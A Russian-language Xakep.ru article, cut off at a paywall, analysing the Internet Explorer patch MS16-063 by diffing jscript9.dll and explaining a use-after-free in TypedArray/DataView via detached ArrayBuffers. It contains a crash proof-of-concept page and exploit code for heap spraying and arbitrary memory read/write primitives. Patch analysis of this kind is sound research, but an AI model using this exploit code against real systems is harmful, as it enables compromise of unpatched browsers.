В сегодняшнем обзоре мы рассмотрим исследование патчей к Windows. Для примера возьмем патчи MS16-039 и MS16-063, проанализируем их и создадим небольшие proofs of concept на основе найденных уязвимостей.

 

MS16-063: Удаленное выполнение кода

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 27 июня 2016 года
Автор: Theori
CVE: нет

Патч MS16-063 закрывает несколько серьезных дыр в Internet Explorer (некоторые из них ведут к удаленному исполнению кода). Сравним запатченную и уязвимую версии библиотеки jscript9.dll при помощи BinDiff.

Изменения, относящиеся к классу TypedArray, в пропатченной версии библиотеки jscript9.dll
Изменения, относящиеся к классу TypedArray, в пропатченной версии библиотеки jscript9.dll

Найти нужные функции непросто: в файле куча изменений. Но если присмотреться, то можно заметить, что в основном они коснулись функций DirectGetItem и DirectSetItem для разных типов класса TypedArray. Еще есть изменения в функциях GetValue и SetValue класса DataView.

Изменения, связанные с классом DataView
Изменения, связанные с классом DataView

Более подробно про TypedArray ты можешь узнать из документации. Если вкратце, то он поддерживает доступ к «сырым» данным, основанным на ArrayBuffer. Напрямую ArrayBuffer недоступен, и его нельзя изменять, кроме как через интерфейс высокого уровня view. View предоставляет контекст, который включает в себя тип, смещение и количество элементов.

С помощью DataView мы получаем возможность чтения и записи данных в произвольном порядке следования (endianness). А с помощью TypedArray, как и предполагает название, мы можем определить тип данных элементов массива. Типы бывают такие:

  • Int8Array: знаковое 8-битное целое число;
  • Uint8Array: беззнаковое 8-битное целое число;
  • Uint8ClampedArray: сжатое беззнаковое 8-битное целое число (сжато до диапазона от 0 до 255);
  • Int16Array: знаковое 16-битное целое число;
  • Uint16Array: беззнаковое 16-битное целое число;
  • Int32Array: знаковое 32-битное целое число;
  • Uint32Array: беззнаковое 32-битное целое число;
  • Float32Array: 32-битное число с плавающей запятой (float);
  • Float64Array: 64-битное число с плавающей запятой (double).

TypedArray и DataView в некотором смысле схожи. Оба предоставляют доступ или изменяют сырые данные. Итак, что же патч изменил в этих функциях?

В графовом представлении хорошо видно, какой код был добавлен (блоки красного цвета).

Июньская и майская версии библиотеки jscript9.dll
Июньская и майская версии библиотеки jscript9.dll

Перед патчем DirectGetItem и DirectSetItem для каждого типа массива просто проверяли, находится ли index в его пределах, а затем обращались к буферу.

Функция GetDirectItem (майская версия)
Функция GetDirectItem (майская версия)

На псевдокоде это можно описать примерно так:

inline Var DirectGetItem(__in uint32 index)
{
  if (index < GetLength())
  {
    TypeName* typedBuffer = (TypeName*)buffer;
    return JavascriptNumber::ToVar(
      typedBuffer[index], GetScriptContext()
    );
  }
  return GetLibrary()->GetUndefined();
}

Заметь, что здесь нет проверки самого буфера. Буфер мог быть «отсоединен» (detached) до момента обращения или изменения, что приводит к уязвимости типа UAF.

Мы можем отсоединить ArrayBuffer при передаче, используя postMessage. Ниже представлен пример кода для этого (ab — ArrayBuffer).

function detach(ab) {
  postMessage("", "*", [ab]);
}

Код, который был добавлен в патче, проверяет, был ли отсоединен буфер для предотвращения UAF.

Функция GetDirectItem (июньская версия)
Функция GetDirectItem (июньская версия)

Забавный факт — эта уязвимость уже была запатчена (возможно, при рефакторинге) в ChakraCore в соответствующем коммите.

inline Var BaseTypedDirectGetItem(__in uint32 index)
{
  if (this->IsDetachedBuffer()) // 9.4.5.8 IntegerIndexedElementGet
  {
    JavascriptError::ThrowTypeError(GetScriptContext(), JSERR_DetachedTypedArray);
  }

  if (index < GetLength())
  {
    Assert((index + 1)* sizeof(TypeName)+GetByteOffset() <= GetArrayBuffer()->GetByteLength());
    TypeName* typedBuffer = (TypeName*)buffer;
    return JavascriptNumber::ToVar(typedBuffer[index], GetScriptContext());
  }
  return GetLibrary()->GetUndefined();
}

После патча код в jscript9 также ищет отсоединенный буфер в DataView и TypedArray.

 

EXPLOIT

Сделаем для начала небольшой PoC. Для этого понадобится:

  1. Создать TypedArray. Мы можем выбрать любой тип, но воспользуемся Int8Array.
  2. «Отсоединить» ArrayBuffer с помощью Int8Array из шага 1. Для этого освободим буфер.
  3. Обратиться к освобожденному буферу, получив или установив элементы, используя Int8Array.

И получаем креш.

<html>
  <body>
    <script>
      function pwn() {
        var ab = new ArrayBuffer(1000 * 1024);
        var ia = new Int8Array(ab);
        detach(ab);
        setTimeout(main, 50, ia);

        function detach(ab) {
          postMessage("", "*", [ab]);
        }

        function main(ia) {
          ia[100] = 0x41414141;
        }
      }
      setTimeout(pwn, 50);
    </script>
  </body>
</html>
Успешное срабатывание PoC для MS16-063
Успешное срабатывание PoC для MS16-063

В нашем конкретном случае падение происходит в момент записи данных в освобожденную память (то есть ia[100] указывает на освобожденную память). Для успешной эксплуатации мы хотим выделить объекты: мы создадим их и будем контролировать их метаданные. Это даст нам возможность читать и писать произвольную память.

В качестве тестового стенда автор эксплоита использует виртуальную машину, представленную компанией Microsoft для тестирования приложений в различных версиях браузеров, — modern.ie. Была выбрана машина с Windows 7 и Internet Explorer 11. Такая ВМ хороша тем, что заведомо уязвима из-за отсутствия обновления.

Как показано выше, для начала мы выделяем объект ArrayBuffer, который будет передан в Int8Array. Большой ArrayBuffer (около двух мегабайт) нужен потому, что память будет возвращена обратно в ОС после освобождения. А для эксплуатации в этом варианте точный размер не так важен.

var ab = new ArrayBuffer(2123 * 1024);
var ia = new Int8Array(ab);

После того как мы «отсоединим» буфер и стриггерим сборщик памяти (он освободит выделенную память с помощью VirtualFree), мы заполним это пространство достаточно маленькими объектами. Затем мы сможем их изменять.

var ab2 = new ArrayBuffer(0x1337);
function sprayHeap() {
  for (var i = 0; i < 100000; i++) {
    arr[i] = new Uint8Array(ab2);
  }
}

Это вызовет LFH (Low-fragmentation Heap) для размера класса sizeof(Uint8Array). Память будет выделяться через VirtualAlloc.

Как это сработает, можно увидеть в VMMap. Примеры представлены на скриншотах.

VMMap до выделения памяти для ArrayBuffer
VMMap до выделения памяти для ArrayBuffer
После выделения памяти для ArrayBuffer
После выделения памяти для ArrayBuffer
После отсоединения буфера
После отсоединения буфера
После выделения памяти для Uint8Arrays (LFH)
После выделения памяти для Uint8Arrays (LFH)

Теперь нам нужно определить местоположение одного из созданных объектов Uint8Array. Так как длина элементов класса Uint8Arrayравна четырем байтам, то мы ищем длину, указанную для ab2 (0x1337). И после того, как найдем, начинаем увеличивать длину, чтобы определить соответствующий индекс массива в arr.

for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++)
{
  if (ia[i] === undefined)
    return;
}

ia[i]++;
lengthIdx = i;

try {
  for (var i = 0; arr[i].length != 0x1338; i++);
} catch (e) {
  return;
}

mv = arr[i];

Вынесем объект Uint8Array в отдельную переменную mv, чтобы использовать для чтения и записи произвольной памяти. Обрати внимание, что довольно просто получить адреса буфера и vftable (для Uint8Array).

function ub(sb) {
  return (sb < 0) ? sb + 0x100 : sb;
}

var bufaddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24;
var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24;

Добавим дополнительные функции.

function setAddress(addr) {
  ia[lengthIdx + 4] = addr & 0xFF;
  ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF;
  ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF;
  ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF;
}

function readN(addr, n) {
  if (n != 4 && n != 8)
    return 0;
  setAddress(addr);
  var ret = 0;
  for (var i = 0; i < n; i++)
    ret |= (mv[i] << (i * 8))
  return ret;
}

function writeN(addr, val, n) {
  if (n != 2 && n != 4 && n != 8)
    return;
  setAddress(addr);
  for (var i = 0; i < n; i++)
    mv[i] = (val >> (i * 8)) & 0xFF
}

Дальше есть множество путей развития атаки, и все они зависят от окружения. К примеру, если это Windows 7 и Internet Explorer 11, то план атаки следующий.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Check Also

Умные замки KeyWe можно открыть благодаря уязвимости, которую нельзя исправить

Эксперты F-Secure предупредили о небезопасности умных дверных замков KeyWe. Злоумышленники…

1 комментарий

  1. Аватар

    WellFedCat

    13.08.2016 at 12:50

    Отличная статья

Оставить мнение